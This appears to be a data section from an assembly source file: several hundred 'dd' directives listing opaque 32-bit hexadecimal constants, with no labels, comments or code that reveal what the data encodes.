dd 0AE00EF83h, 78845077h, 13D21E8Dh, 7E7D529h, 4E2E54D7h
dd 0E6436AC0h, 0BB001ABAh, 0B2771F98h, 3D267Dh, 799586ACh
dd 0E6FF53E3h, 8F9A730Bh, 36A180A9h, 7F5D8B6h, 1D155EB8h
dd 0FC37D561h, 0DDCA032Bh, 0C0760535h, 329D0F41h, 0C8199B30h
dd 10C4049Dh, 0E7CBE383h, 6FF23F40h, 4F95001Bh, 50D2D15Ah
dd 617F6751h, 47AB0600h, 0DE250A0Eh, 2B29C2EDh, 0E00FD274h
dd 6049FCEh, 5C108447h, 27216E12h, 9EF4F504h, 9ADAD300h
dd 0FC102507h, 63082D4Eh, 6908CFB8h, 284F940Fh, 2ABBB608h
dd 0C8531F04h, 44EB4304h, 6342C55Bh, 0BB033C11h, 0BE291945h
dd 40B7A1D4h, 3E832E14h, 0C4A7F780h, 5F5E36A1h, 4C520CA1h
dd 8E627351h, 24F0E7A1h, 104C21BFh, 51EF299Ah, 0B75E658Bh
dd 32162100h, 0B04E43F6h, 49CE0041h, 0AA99767Ch, 81001E47h
dd 5D30230Fh, 357841h, 7B6A942Bh, 0BCE80246h, 8700D2E2h
dd 528F1948h, 5A37Ch, 6EBE5856h, 0E8C43CEAh, 67D0B700h
dd 555B84DAh, 734F3D09h, 6681D280h, 7FBD2DCCh, 0F1E9F300h
dd 0A8AB93C3h, 4710C07Ch, 27A46AC8h, 89BEA93Eh, 62BAC0h
dd 0B5293710h, 2C960595h, 0C00AF16Fh, 7807A934h, 69CD4B00h
dd 836D180Dh, 0F40E0063h, 0EA92365Ah, 0C200E3C7h, 0E4F00A40h
dd 16A82DCAh, 0E515872h, 17A32C07h, 8A8002F7h, 533ACB87h
dd 262B80AAh, 36ABB910h, 0CE40048h, 4DDA3A85h, 391DD112h
dd 49895204h, 0BD6020FDh, 0F7A7B0h, 6DE785C1h, 0BAC7FC4Bh
dd 0E8B77A01h, 6882EFF6h, 1BA0CE80h, 6C0D93E2h, 2B7E6700h
dd 0B3A48B3Ah, 1A3600C3h, 535745CCh, 5830C43Fh, 0BFD9D05Fh
dd 52BC002Ch, 0B5D38774h, 8000C46h, 47F4C90Ah, 7B3956FFh
dd 0F2430014h, 9D73885Bh, 83F6B9DBh, 9368F900h, 7FAB180h
dd 0E9FC00DDh, 0DCBAB6E6h, 6100CE2Fh, 172ACDD5h, 0F86863h
dd 0E43C70DFh, 0DD9462BEh, 493D8307h, 0A531318Bh, 30B80CB1h
dd 0BFF60280h, 0B4A09C3Fh, 3C6B1707h, 86A09528h, 54FAE1h
dd 0AB2B5997h, 2F7A5C33h, 9F3D3E00h, 33B0BAEh, 0E15E0A3Ch
dd 0A0088Ah, 0F706F50Ah, 0B006381h, 73A11E2Ah, 13DC0C5Ah
dd 42D7A5h, 76E1205Fh, 7A00E5B0h, 7F758293h, 0C4CA23h
dd 1F325926h, 92E3493Bh, 0BE2B4700h, 0C589B156h, 8D350728h
dd 10FFB6CEh, 76A61E9Ah, 0B9424Dh, 634E3E43h, 0E8CD215Ch
dd 0E2410074h, 0D9BE4DFAh, 0CC01ABC4h, 84A59051h, 1080D199h
dd 0C6FE411Fh, 4A0002BCh, 0E97BD59Ah, 0C0E09Fh, 1C296424h
dd 5912211Fh, 82807201h, 17E5FC62h, 92A102FCh, 11DA001Ch
dd 82AA54EEh, 5998101Ch, 0BDB38F05h, 648080A3h, 4437F0h
dd 1C8A1DC5h, 2394D1F3h, 220071E8h, 0D388CC3h, 0B8593E3Fh
dd 532000A6h, 7CE51E58h, 0E1014063h, 3EE04FDAh, 90E87D83h
dd 0B76D000Ah, 4A6EFC7Ah, 2B3071F2h, 5B930C98h, 0E3EF0003h
dd 5DE1FB55h, 4203B0D3h, 0C1D5FF26h, 661BE17Bh, 0B4F5F0E7h
dd 369D005Eh, 0B1677DA4h, 4B3FAF33h, 2B2F805Dh, 579E3893h
dd 0DD740170h, 0B06EBA60h, 194BD0A6h, 0C80BF600h, 4E689781h
dd 38E70189h, 0D854912Ah, 0BFA3704Ah, 1E7C5739h, 0E4C08C42h
dd 0A14B8086h, 0BAC10027h, 64AAC2FAh, 0A601D508h, 2838AE84h
dd 0B8FF0922h, 356A7Eh, 6814A50Dh, 0BB4599B5h, 8B4C4D01h
dd 2FE9D71Ah, 52A6BD40h, 0E38A0032h, 7791E4BCh, 5A00861Eh
dd 895F2F38h, 158CFD8h, 1B6A04F1h, 0D75C446Dh, 0E8E693B7h
dd 8DBB9180h, 26F4800h, 7E1632ACh, 0D89438F2h, 0E6376000h
dd 1CE4BF4Eh, 7C0994Ch, 0ADC9A06Eh, 0AB2E30C0h, 0F1B53F76h
dd 4CA691Fh, 0C08ED10Ch, 7FEF3EEFh, 35EE400h, 4FF1AAC6h
dd 0B0090050h, 0CF374C07h, 5400B5EFh, 365CFBD7h, 9E570Dh
dd 538B8202h, 132F7244h, 8D471700h, 0A197B83Ah, 0CA71001Eh
dd 60CF204Ah, 0D2008490h, 0A62348C0h, 0B55285h, 0B70B8FE4h
dd 0D3DA12BCh, 0B0361E00h, 9B87830Ah, 31C800D1h, 2EF7EF16h
dd 4D047540h, 0DFF07C48h, 0BB5DE080h, 586600EDh, 30330543h
dd 280FA9C8h, 20CC5B6Eh, 0EF2BCFF7h, 21D101C3h, 0B0068548h
dd 46A5E81Eh, 0C69D1F1Ch, 5F365700h, 182C65h, 566FE7A2h
dd 741C4651h, 0DB0F8300h, 8C6C04B2h, 1FDD00E2h, 9A700B58h
dd 0B803FF82h, 0CF2AC1E7h, 6032F83Ch, 1A641CB0h, 4E52C08Bh
dd 0CDE044E8h, 1CF2DC04h
dd 5488217Ch, 0D1130C1Ah, 3D806DD6h, 0FD3CA712h, 56589C00h
dd 29D0CFh, 0A2DC90CEh, 0E89A199Dh, 1EA0CD3Fh, 0CA0051AFh
dd 7BEA4C6Bh, 0ECCE48A1h, 1EF8A83Eh, 8075D7C9h, 0D121440Bh
dd 0D9000D46h, 1D9C848Dh, 0C2A58Bh, 0AD0BC4B2h, 3213857Fh
dd 4B3C06B0h, 870E80EBh, 0E16F6E77h, 0CB5F3F74h, 12095E80h
dd 0D7CCA04h, 0DD0F9209h, 0B2650025h, 46F581h, 4E21D0A1h
dd 7BC73850h, 39402300h, 0DD9A51ADh, 0C6B900F0h, 71CB5B89h
dd 3207996Ch, 8DB8953Ch, 0B835E673h, 7B7B9CEh, 7194799Ah
dd 4BAA2026h, 9807A8C4h, 47E42BC1h, 0A64044E1h, 5B0F6D4h
dd 8A071078h, 5B208015h, 8B07D408h, 58A43B84h, 625F030h
dd 0D1D2003Ch, 0F22D9C73h, 561EB334h, 5E43C575h, 984DD56Fh
dd 0FF72CEh, 0DD97100Eh, 0DE49CA06h, 53A52507h, 0FDB067B0h
dd 1E9EAFh, 680715FFh, 82B5F663h, 900A674h, 0ACA531E9h
dd 7BEB6EADh, 39C301D8h, 8778486Ah, 1BB7FC4Fh, 6D882650h
dd 8AA38005h, 0D080E7D7h, 3F8E3DEh, 6FC5E0B0h, 4AD024ABh
dd 0A401815Fh, 0BC0496D1h, 0AF2186C4h, 0E429A06Ah, 0BFE2B200h
dd 2D15EBA0h, 84D400EDh, 8D0F4638h, 57282694h, 7E3AFF24h
dd 0E40D8003h, 84512AF2h, 0CDF400F3h, 1013A06Ah, 0BD0FD22Ch
dd 0E0099E25h, 6118BCC1h, 0EF520FD8h, 0BF2BD15Ch, 0FD40EA00h
dd 0DDF987EAh, 0DDC570A7h, 7985C800h, 74840A19h, 86980762h
dd 0F24BDC3Dh, 6640FC7Bh, 0BD05B0B7h, 33CB03A6h, 49BC480h
dd 6829007Eh, 0AB118701h, 0BDEC09A7h, 0CBB42C00h, 0CE7E77E9h
dd 0C41B2E63h, 323AD064h, 10FD7200h, 144FCE98h, 9E871E67h
dd 2AA10333h, 1426A337h, 0B30226E2h, 6081D020h, 1C9DD45h
dd 0B154FF55h, 0F02E09A9h, 5200B98Fh, 94C5B67Ch, 4FF364h
dd 27DEA00Bh, 0E1A0CCDh, 0E6FDEF00h, 0A8812CE1h, 0E0431C48h
dd 0BD524098h, 90E3893Dh, 0A572AB00h, 0A727055Ch, 4B7436h
dd 4A597C5Dh, 6769DB0Ah, 0ACE59926h, 54261C00h, 1477F561h
dd 0B0D829A8h, 964A3E02h, 350055DDh, 728C83h, 6142F95Bh
dd 6E5266C2h, 51346D14h, 2B8800B4h, 30FC1538h, 0C18A00CDh
dd 424EE65h, 0B13F1EDFh, 0C23F8073h, 0A6793E61h, 0B0A250A0h
dd 5A220BBEh, 44003DABh, 31E61EB7h, 446A1400h, 509FD747h
dd 0E0D30090h, 391F082Fh, 2D7F3F17h, 934A54Ch, 38A38693h
dd 899460h, 3BCA9BF5h, 7D5D1FABh, 0D4119100h, 0DD2AFFB1h
dd 5F8C0018h, 0E90B287Ch, 0A601ACC5h, 2C996451h, 54F889A2h
dd 0E05D0076h, 3ECE2434h, 0FB4862D0h, 80C83F7Ch, 0B4F973DDh
dd 0A94BF7h, 0A8FFDCDBh, 280FA591h, 0AB00CB7Bh, 4D794E11h
dd 249363E3h, 6BB95Fh, 5449FBE0h, 4214F07Eh, 1B0C06Fh
dd 1539BD25h, 5C24F53Eh, 7769814h, 0D896EBD1h, 1050171Bh
dd 0DE2D6747h, 0FEAB1500h, 0B1DCD4F3h, 5E0F0045h, 0C547BDB9h
dd 2614193Ch, 2B0A5B0h, 0A93928AEh, 0A3601252h, 30035BA8h
dd 7BE4BEF2h, 66B0C733h, 2F0C9Ch, 0C1692B79h, 4D3964CCh
dd 3AEDE41Dh, 5210BC28h, 471FBB26h, 13EFC07Eh, 0BA6232A2h
dd 80677538h, 0D6B17B70h, 3174FBh, 8ACE5C9Ah, 931726DBh
dd 7D981F00h, 0D167E6Dh, 975D017Bh, 0FED533C5h, 1B0BE8B5h
dd 7C3B8900h, 317F64Fh, 2F40692h, 0D0DF206Eh, 4D596A2Eh
dd 0E9D0B000h, 3658DB1h, 0AFE0C13h, 8FF09AEFh, 7C00C78Bh
dd 16543210h, 50937799h, 0B9B4B2h, 0C317807Dh, 71728BB5h
dd 6FF04600h, 77754791h, 97E4D5h, 844F9AE1h, 0AD023CB7h
dd 0C8433800h, 0B5FBA33Dh, 1CC50F8Fh, 0E9A2130Bh, 3204C4FFh
dd 0C92F80FEh, 74007BDCh, 0F3675304h, 2786AAh, 0FEDDC1FCh
dd 3E1B22C4h, 90F05C5Ah, 0D39E09E6h, 5B804CF3h, 0FE3827E4h
dd 0CA05F501h, 0D587D4F8h, 16698420h, 0B03ABC35h, 9300FFC8h
dd 1BE0FB54h, 0F8C0B6h, 36F47E22h, 0CDF6D2CFh, 0AF1E3Ah
dd 67DB3D2Dh, 0C7E040h, 0A59D25B8h, 0FF7A0422h, 0AA341700h
dd 3B9A99Eh, 0D2E9074Fh, 0DED189DBh, 2086AE80h, 0C0032DCEh
dd 38A161AAh, 3B9BB094h, 0F5A0C4F6h, 976C028h, 250FB913h
dd 0E203E65Dh, 60B3EA02h, 2D3EEACh, 1822CCEDh, 11C013D8h
dd 0AC079770h, 0C83F594Bh, 0D31F37B0h, 9D6F0BBAh, 4C000838h
dd 77ECE1A9h, 8023533Fh, 22BB71B1h, 2980E7Dh, 3D645FC7h
dd 50E094CBh, 2A017C72h, 27E7DD14h, 0FFC174Eh, 869C0002h
dd 6BA8A252h, 0DD00928Ch, 87C0966Ah, 7D05CCCh, 0BB47DCD8h
dd 720EF31h, 3B4B1E6h, 6516AD13h, 9BE48Ch, 0E532E1C0h
dd 1F0E21F3h, 26A0C600h, 5653A449h, 151838C8h, 9067BE81h
dd 60179CA1h, 660EB4E0h, 6049558Bh, 0DCF614B0h, 106060B2h
dd 0D5FF85E8h, 4D7C4000h, 0A1AB9312h, 0B5423EE2h, 0E4CC1080h
dd 0B3524C4Fh, 8738003h, 0C70564CAh, 6626EE50h, 4BE53DA4h
dd 0D698004Bh, 76F99D17h, 0C400424Bh, 0BE6E2D61h, 0FCCD003Fh
dd 396AA148h, 6D48E9FBh, 20870060h, 0CE71850Ah, 0AD150058h
dd 2937C88h, 0F9007424h, 5F2B25A3h, 7DE7172Ch, 0B22230A1h
dd 4F21DD88h, 0CB0059FAh, 0FE66731Bh, 1C574742h, 80A77BC8h
dd 528FB71h, 321F50A1h, 0B4C0F774h, 0FD734E79h, 383B0035h
dd 0EC6A6D37h, 67182280h, 19ECFF4h, 47CE01C3h, 0B6A011EFh
dd 97EC3086h, 0F576C800h, 2DC2DB8Fh, 0D310310h, 14BD2E45h
dd 9E888CF0h, 9D0086EAh, 6D5344E9h, 0E85A0Ch, 0C5C18D6Fh
dd 41CCAED2h, 1A00F098h, 0A0FDA2EBh, 0D37886h, 8D1F32E2h
dd 0CA0B4E4Fh, 0AB588100h, 0C15CDA4h, 2F9C01B0h, 8DFEC475h
dd 43F2F4E7h, 0F9190800h, 5BCA63C5h, 0A0AD2E64h, 88218040h
dd 0AA60439Dh, 5222B102h, 400E9606h, 380BA56Ch, 8D821E85h
dd 0A78A4EB2h, 532674C8h, 1103AB7Bh, 43E74B89h, 3B182671h
dd 0FE2E0111h, 2053A6D1h, 4006BF3h, 14342B6Ch, 733307C0h
dd 0AA00027h, 0FFCF62F7h, 0F89BABF8h, 243F7400h, 0AA9590h
dd 0E90ED7BFh, 399B30A2h, 0DC038200h, 0FBD29C6Fh, 0D7BE04D3h
dd 0B0BFCFE8h, 0CD728D34h, 87903Dh, 0FA3020A5h, 3F9FB6C6h
dd 0C94C212h, 1B0FFC4Fh, 0EF8159B2h, 0CCF03B7Dh, 3D00F251h
dd 0A75D860h, 0E8B18AAh, 997C97E6h, 6381BE87h, 0B1C0F9E7h
dd 0C6382F7Bh, 2D6A8091h, 0EC04DA9Ah, 133498EFh, 40E9D46Ch
dd 0C94A5B84h, 2D01A664h, 937E845Fh, 2432B975h, 5440B1Ch
dd 81BD983Ah, 60AB8BF0h, 0F9393951h, 21468033h, 38DE2FCFh
dd 2B7B3C95h, 2E171800h, 81333F5Eh, 0E120E505h, 0B4C3F0EBh
dd 715DA053h, 0D72200D1h, 0BFB325AFh, 0BC009094h, 0F6A04D8Bh
dd 0FAADD5h, 187971Ah, 33C3DDB1h, 8F00E37Eh, 0EF300215h
dd 1C4F4DB2h, 3A03C6D9h, 12A97C00h, 0E7275D08h, 8000E871h
dd 2F17A29Bh, 5BC499h, 0FA194BF5h, 188FEB14h, 8B00E071h
dd 0A47A3BE7h, 0DC0F90h, 85A65ED7h, 0FEBB5B23h, 2B096200h
dd 0FD480AECh, 5D5800F5h, 6CE19A56h, 92766D0Ch, 7DAF260Eh
dd 4E450127h, 0FAC48695h, 0CE6A0090h, 131CBC74h, 0F9EDA52Dh
dd 4CF0E665h, 1A8B8701h, 688372ACh, 1F4E0C20h, 31A1F2h
dd 5CE8F532h, 2E1D0D10h, 9800FC9h, 469FE4D1h, 0FEC80055h
dd 28B987A0h, 7000C5B0h, 0D0B21CB1h, 335C3EAh, 89FD18AEh
dd 45F28B4Eh, 0D80DF740h, 0E392CD1Fh, 9B0E7A2Ch, 0D47FC0DAh
dd 1AEE5B7h, 0C0A04E0Ch, 78075433h, 111C27CCh, 68341230h
dd 0B8FB00D0h, 0A5FC09AEh
dd 0E1FE1ABEh, 635BB400h, 256BF171h, 5A8B013Ah, 0ADC16FCBh
dd 0D412E0EAh, 0C02812Ch, 341E9201h, 11CC2E8Fh, 3AEA7D5Eh
dd 8D009987h, 0DC9C5974h, 0EC002D9Eh, 3CB59DBCh, 0A2BA47h
dd 97F6AE4Bh, 415ADD5Eh, 7E4F7700h, 0DFB30C10h, 0B7C303BFh
dd 1D1285B4h, 0C99E40B0h, 56BB4F00h, 52B372D4h, 45FB00D5h
dd 0A1B210ADh, 1513BCC1h, 1D1F21EAh, 7CB5DB80h, 1E55E696h
dd 8E50CECDh, 1201F6Eh, 988247DDh, 7302AAE2h, 0EB07CBBDh
dd 44F4E00Bh, 25630737h, 344957h, 8A854DA5h, 6BDBE807h
dd 0F077FFDAh, 0E40E4490h, 0F51300D5h, 0B81A1E43h, 4700808Fh
dd 62936C63h, 0B2F0F8Dh, 887B05Eh, 0CAE40F80h, 8848EC2Ah
dd 9C4B2920h, 0E88D2F00h, 0B08A0EBEh, 51B9057Bh, 2C46A3Dh
dd 52EBECDCh, 9C869203h, 0E35E3090h, 8CE700EDh, 6EA972B6h
dd 800063DCh, 54277BF3h, 0E817F167h, 5E7403A0h, 0E356247Dh
dd 0BF5528E0h, 7ADA4103h, 0D81FBCA7h, 0FE50338Bh, 9B9F470h
dd 3ED9A91Dh, 66C81C20h, 0DD48F8C6h, 0EF0476B0h, 1C1E7A76h
dd 0AEA980D0h, 91620C23h, 54F00874h, 0B788D200h, 58243D42h
dd 0E21000E8h, 35CB7C4Dh, 78009469h, 77A1867Ah, 205EC7Eh
dd 2B33BC87h, 0FE0BF31h, 2A1DDAEFh, 0E7C1F39Ah, 0C38B7258h
dd 3CB2B870h, 0A2BE7ADDh, 2FD03881h, 0F5F104h, 0EE4B122Dh
dd 0AF7107A7h, 0E025E45Eh, 237920C2h, 3204DC00h, 0A0CA695Ah
dd 0D5F70050h, 6833E3D9h, 0DA00392Fh, 708E56A7h, 8526234h
dd 3A0863Ch, 0A417E100h, 656777h, 3DEBC3CAh, 4B2A7043h
dd 33490B2Ch, 0E3AC0600h, 72FEB566h, 1CCCB0ECh, 40256ED1h
dd 81059E7Eh, 10009FAEh, 0EDC69617h, 479CB86h, 0F122AB36h
dd 7124C0B4h, 722CE38Dh, 340084A7h, 676F0BBCh, 0EFF501CFh
dd 0DA383FBAh, 20A020A8h, 918BB700h, 5D2E335Eh, 0D0C900BFh
dd 5BC929Fh, 8200A7C8h, 6D77D837h, 2E1C1D91h, 0FC852AFh
dd 0F4C2220Fh, 40604150h, 10003ACDh, 514F6E9Eh, 3EA47695h
dd 3680D2D7h, 0F7DAC501h, 0F80B9FD9h, 6A7FB4h, 26390868h
dd 55100002h, 210E0D92h, 2A4CCB03h, 0B1BF2818h, 0FB319500h
dd 99EAA865h, 0B28A07FAh, 60E3BE26h, 5266D3E9h, 289B7A24h
dd 6BD8AF04h, 622DF4A8h, 546A0400h, 94B91AC6h, 8091AE0Fh
dd 5E5D10F0h, 175100C4h, 0DF436E34h, 673AF761h, 309287ABh
dd 0F440D229h, 3B86D7h, 75F34012h, 36FC961Ch, 8B0038FAh
dd 220C9DA2h, 8A6EDBh, 59F3F603h, 0A9A3CD30h, 0B7684B07h
dd 8E60229Fh, 0EA84987h, 0B34E4138h, 82CBA4C0h, 2C0037F7h
dd 537D4BB7h, 1809AC8h, 0D9E35F8Ch, 7ABF4D62h, 6FFCF480h
dd 31EB007Eh, 0C8A86AB4h, 0D41CB307h, 7F40A09Eh, 79822D15h
dd 0E4C600C5h, 36E5711Ch, 12007605h, 0F357B583h, 0FCDF6CFh
dd 0F232DD6Dh, 27518C00h, 8500A1F7h, 30A659C1h, 95ED19Dh
dd 456270E8h, 8673898h, 0E6E3B100h, 0B6052DFDh, 0BE650099h
dd 46E7C8C9h, 1001D59h, 6A4FDA96h, 4CCB3Bh, 0D013A79Dh
dd 0A6441787h, 7893EDEFh, 0C4F20188h, 0A37B28F4h, 0FE1FFC68h
dd 3F43C0CDh, 0D0F69AEFh, 1055C826h, 1CCEAB02h, 7CDA74h
dd 8D8315FDh, 0A49A802Eh, 60948E00h, 0AF55F443h, 398C0037h
dd 72BD2F93h, 1000F3D8h, 256CEA16h, 69DA8F4h, 60553391h
dd 0F200989Eh, 5129952h, 90A7C50Fh, 584F0020h, 782F51BEh
dd 0CD00DF64h, 0C48DE713h, 307C53Ch, 4BA03AEFh, 0A4C20573h
dd 2437DC0h, 82E6EC27h, 60CC9794h, 0E43375E6h, 3918901Eh
dd 6580B0ABh, 0C4173B36h, 0C904A482h, 23571DC3h, 0DCC0D094h
dd 0BEDD4599h, 75A61Ch, 0B9E85C1Fh, 0B52E0D62h, 711FD49Ch
dd 0CAA3D200h, 71C98B16h, 0FE2A0018h, 5856BE21h, 0F9007B1Fh
dd 0B7C7A6Eh, 85CF36h, 6C9F06CDh, 2DA81756h, 98FA1B00h
dd 511E0C31h, 4A69E039h, 9C0404ADh, 106B868Dh, 8085D638h
dd 90879237h, 1C617A5Eh, 1235083h, 5D9C7627h, 64AAE477h
dd 1B020607h, 8CC3FC12h, 7FE4A9CBh, 60E195F4h, 0D897C8C6h
dd 3A1D1973h, 0CE09FFC8h, 87708072h, 0B43DFh, 0EEE671CAh
dd 0DE45C2FAh, 1FC9CB00h, 0ECB7D1DCh, 6DFB0090h, 40293F0Dh
dd 5F006571h, 0F0BEBD79h, 0F4D06291h, 0F7BF8EBh, 2A441BCBh
dd 73CAB640h, 550951ACh, 28E041h, 0B3947220h, 22400A1h
dd 0DDC5CD95h, 90018C9Eh, 0E6BE8EB2h, 0F1DC52F0h, 9231006Ch
dd 2A72B051h, 85007DCCh, 0AFCEC077h, 0BF21D2h, 444BAA8Dh
dd 5B2A2C53h, 4E109900h, 0A1A0FB8h, 86EA2CFCh, 40401FE0h
dd 0FABA69C3h, 5094B82h, 0F5969Dh, 4D2E806Ch, 5A360063h
dd 70A06210h, 3025C17h, 0B8EA5275h, 0F09C6054h, 58E4F586h
dd 0E5CB0737h, 0C7BEBA9Bh, 81C230FEh, 77B01DDDh, 0B9768200h
dd 0B6ADBCCBh, 78B700CCh, 1ADBFD6Eh, 0F4005F8Bh, 2094871Bh
dd 6598B4h, 3BEB476Dh, 7190C9A0h, 0F208A10Eh, 6E862245h
dd 7AE4DA7Ch, 2AE44Dh, 0DAF0D29Ch, 20226A14h, 0CEF5DE00h
dd 3DF26EBFh, 0E64BC7h, 0CA267CA4h, 0EF03194Bh, 382F4D18h
dd 73FFE0CBh, 747873C5h, 7186038Ch, 3A47CCB9h, 78A5480h
dd 0E214CDE2h, 5AA8042h, 6D5A756Eh, 72FBA4C0h, 0D6938B4h
dd 10B5B203h, 0D2E0BB26h, 0FE0BAB62h, 87717BD5h, 7CC5ED11h
dd 0E9799C00h, 1337E97h, 0CBA88B49h, 0FC30A4B7h, 3F0748C9h
dd 2FBCC319h, 0F2E0C657h, 1F20DCE9h, 30974795h, 4B793410h
dd 4D6B2900h, 0C0C793BEh, 7738B01Eh, 47F5000Fh, 0B479F08Fh
dd 498E61Bh, 0D64C6A00h, 0AB2E5B44h, 0C23500CCh, 0CA2D0FDFh
dd 2B00C1A4h, 258A3FDEh, 303E12D8h, 0C282FF1h, 0C2006F1Bh
dd 9FC84729h, 0E6171FA1h, 15490110h, 0B3721C32h, 2F3DC124h
dd 0B08A1805h, 9007B881h, 600A828h, 8DB1C126h, 6F009AC7h
dd 0E45FC6F5h, 0E0677539h, 1C142799h, 0B318EFD8h, 0A21834CEh
dd 0CF8C00D7h, 87D41E92h, 91004031h, 50128A8Bh, 38C9CC93h
dd 8814EF9h, 4DE3C147h, 9910A882h, 3D3D227Eh, 0D9FE800Eh
dd 89A00AECh, 69F60016h, 0C2FB2483h, 0F34D8B8Ah, 0A81AC13Ch
dd 1BE8B42Fh, 2A38007Eh, 19855037h, 700148FBh, 0A106577Ch
dd 1660F790h, 0BD0F01EFh, 292AB9B6h, 0F5422051h, 1F084207h
dd 0C08FE296h, 0AC658CB3h, 0EAF49872h, 0B7330060h, 5609409Ah
dd 8F07EFD3h, 5F3CA18Bh, 0DA987590h, 0D50C00E1h, 0CBFCF89Ch
dd 0F402BE14h, 257BF75Bh, 0B7FAC196h, 0B09AABECh, 0B2650014h
dd 49DF043Eh, 8214787Ch, 0EDFFE5h, 21F7359Ah, 7E9B1Dh
dd 95AF32A8h, 5AFE053Fh, 381E3338h, 82B8804Dh, 65BFE430h
dd 0C8A013E3h, 99540074h, 44D8FFF1h, 6A2A4600h, 0DC68B031h
dd 25B10050h, 71F74CAFh, 531E67E8h, 0BC80D0FCh, 39278052h
dd 4290540h, 0C0C5F08Eh, 724730BFh, 48DB7303h, 0C74A2C9Eh
dd 256D0490h, 266C0092h, 0E67BD268h, 0FF1DB8B1h, 0C408F85h
dd 0CDA54F97h, 0B3F3AE4h, 0FD3E4D3Ch, 1810AF00h, 28BA8567h
dd 0C01E58h, 0DDBF2AD1h, 6A912C8h, 0CBB422A4h, 0CE0458F8h
dd 0DE8A346Fh, 0F4A2BCD4h, 9E18E209h, 920940Eh, 0AA4D752Bh
dd 59D92A00h, 0F026F34Bh, 9217051Eh, 83DBC71Ah, 6480964Ch
dd 6C070C9Bh, 7F02C05Bh, 18F80079h, 12F86873h, 8EB7F3h
dd 0FE70605Ch, 3200B61Dh, 0B1F64E5Ah, 1D443ECh, 0AFE54974h
dd 802F8961h, 0AB756896h, 781754FFh, 0F51E655h, 0B7BA8EE2h
dd 1C812C20h, 5001C1C0h
dd 0B178E5A9h, 0EDD722D5h, 70DCE0F1h, 59170023h, 0E1666250h
dd 0E0077AEh, 68E9DA12h, 720CE75Bh, 0E8C20067h, 8BF7EF87h
dd 0FFF6DE9Fh, 0DC565203h, 83F9810Eh, 0B549C0C9h, 7C4602C3h
dd 0BDA2BC1Eh, 46A6345Eh, 0B0074100h, 13C3EAFh, 0A46B675Dh
dd 0DDB59B4Bh, 7213207Ch, 0CC75ED25h, 8BDF0A68h, 0A4E223h
dd 6245A8BEh, 0ACE67CFCh, 2AC584Ah, 0CD77BA01h, 2ABEEC8Ch
dd 855EF400h, 0EFF57B6Ah, 71125220h, 92013A15h, 76AA3880h
dd 0E6BD8B3Bh, 42B6AC1Dh, 1A161480h, 71998h, 0B0E91EAh
dd 0AAFF77AFh, 9CF62500h, 0EC30B181h, 0A26C28E0h, 0FCE77390h
dd 0D6F04B4h, 878F5544h, 63A9010Ch, 8FBE424h, 1CABD3Bh
dd 0FA0EB56h, 5DC87A60h, 66AF00B2h, 0C162BF0Ch, 0EB037CA5h
dd 0C8D4B0DBh, 27FFB02Eh, 0A14D0049h, 9D9B8CE8h, 0E9008A82h
dd 0F8523881h, 1805975h, 0FFF2C609h, 0E1CB0F34h, 0E8902150h
dd 0EC03A29Fh, 0E4E0673Ch, 0B0C7986Ch, 0C9020EC4h, 0B8806D7Bh
dd 0C10605C3h, 0C8816660h, 1F47FB7Fh, 1E127EAh, 0DEE5D052h
dd 29722061h, 0C3914E00h, 0C44DFFF3h, 0F7732Ah, 44A5B63Ch
dd 2E61A61h, 4A63A200h, 2319724Dh, 8D78002Bh, 6DA94B5h
dd 71003A61h, 7A881B98h, 31A587h, 4EB8CF67h, 83E60FC0h
dd 0F9BD9000h, 7E6446B4h, 6084735Ch, 875E40C8h, 0E81F6838h
dd 81F8C582h, 0F8A553EBh, 79D8AE6Ch, 0E52C0047h, 8B4DF3A8h
dd 340EEF49h, 40DA8F0Bh, 62298296h, 1E741DEDh, 501FC311h
dd 0C4F85E8Ah, 6A002E0Ch, 9D37F2ACh, 71C85BDh, 0A76E12ADh
dd 915F40B6h, 0FD0144F4h, 3AFB1668h, 6AD87ED1h, 522F0413h
dd 0BC5E8771h, 0FC1901DCh, 740AF969h, 9CCEE4h, 83404E42h
dd 7F49FA9Ah, 0E6665503h, 8047BEF8h, 22FFDFCh, 3C09AA89h
dd 0FC7EB5CEh, 0E9698300h, 2D171DB6h, 0DCA2A003h, 0D0544BD3h
dd 0A1265A00h, 16E186h, 50DB2882h, 0EDAB8DEEh, 7C69E800h
dd 91640C04h, 5A0E1D08h, 971ABE3Ah, 4A8060DCh, 0EF093F2Ch
dd 5D5F4C00h, 2E7C71DFh, 0CE300217h, 3D7F1BF9h, 0E2C898E0h
dd 75E11201h, 0A17EF86h, 0E7B485EAh, 97608B87h, 305C2E68h
dd 0F03112FDh, 30E4694h, 40EB51A6h, 2BDFE55Ah, 0D00A3972h
dd 4F5DC00h, 5F2AC1AAh, 415738C0h, 99814Fh, 87B96F46h
dd 0CA1A2DB0h, 9E83A0Bh, 0C05843D7h, 0F270D2h, 555883A5h
dd 6EA43534h, 6CDBD517h, 386F44C0h, 33A4A8A6h, 8A4C4CCFh
dd 911F290Eh, 6A6A7C87h, 9C4F0010h, 0DF57BF6Ch, 8B10E407h
dd 31C0A7BBh, 607C565Bh, 64C8EEFBh, 610021CFh, 10520ED7h
dd 0E4B6071Bh, 355F000Dh, 0FE15917Ch, 6616F2ECh, 23007925h
dd 0F4FCE86Eh, 0A509000Dh, 0BF76DC9Bh, 0ED01D698h, 6673C42Dh
dd 5470EEBCh, 17570148h, 93DD434Ch, 2859DCDAh, 0A5E51900h
dd 474FF4C3h, 489009Dh, 0ACB2A3D3h, 0EE001A2Ah, 81655352h
dd 3B211B41h, 25050FCEh, 80349C4Eh, 716D4B9Dh, 456CD800h
dd 2241167Eh, 8BEF0504h, 472AD934h, 507967D8h, 0B824CF72h
dd 0B816F3Fh, 607C6CDCh, 41A9F4h, 62C7A7DAh, 8E987B9Bh
dd 0EEE06E76h, 0E268F11Ch, 337AE680h, 0A66F1Bh, 0F5014349h
dd 0E86124BEh, 300DEEEh, 0D2CFB460h, 7B411EA2h, 60066173h
dd 0E876E228h, 390388A4h, 0D55387FFh, 1CC3FCh, 71B08320h
dd 97926EAAh, 0F3EA7E8h, 70C9FAFAh, 0DB6820CCh, 4CDEA2h
dd 325DA877h, 0EF4D0CFEh, 0EC8A5B00h, 0FDA0E0E4h, 18856094h
dd 6FB3F426h, 0F04C749h, 40ECD8EAh, 2BA6E1CCh, 0E21063Fh
dd 2008902Eh, 23F89Dh, 0D5D67CC5h, 0DDF6E02Bh, 9AEF25h
dd 2AB12760h, 688A3ABh, 525BDBE0h, 891F1014h, 7F0343DAh
dd 0CBF65390h, 0A17A888Bh, 6B930096h, 0EF3FBF62h, 0E3003285h
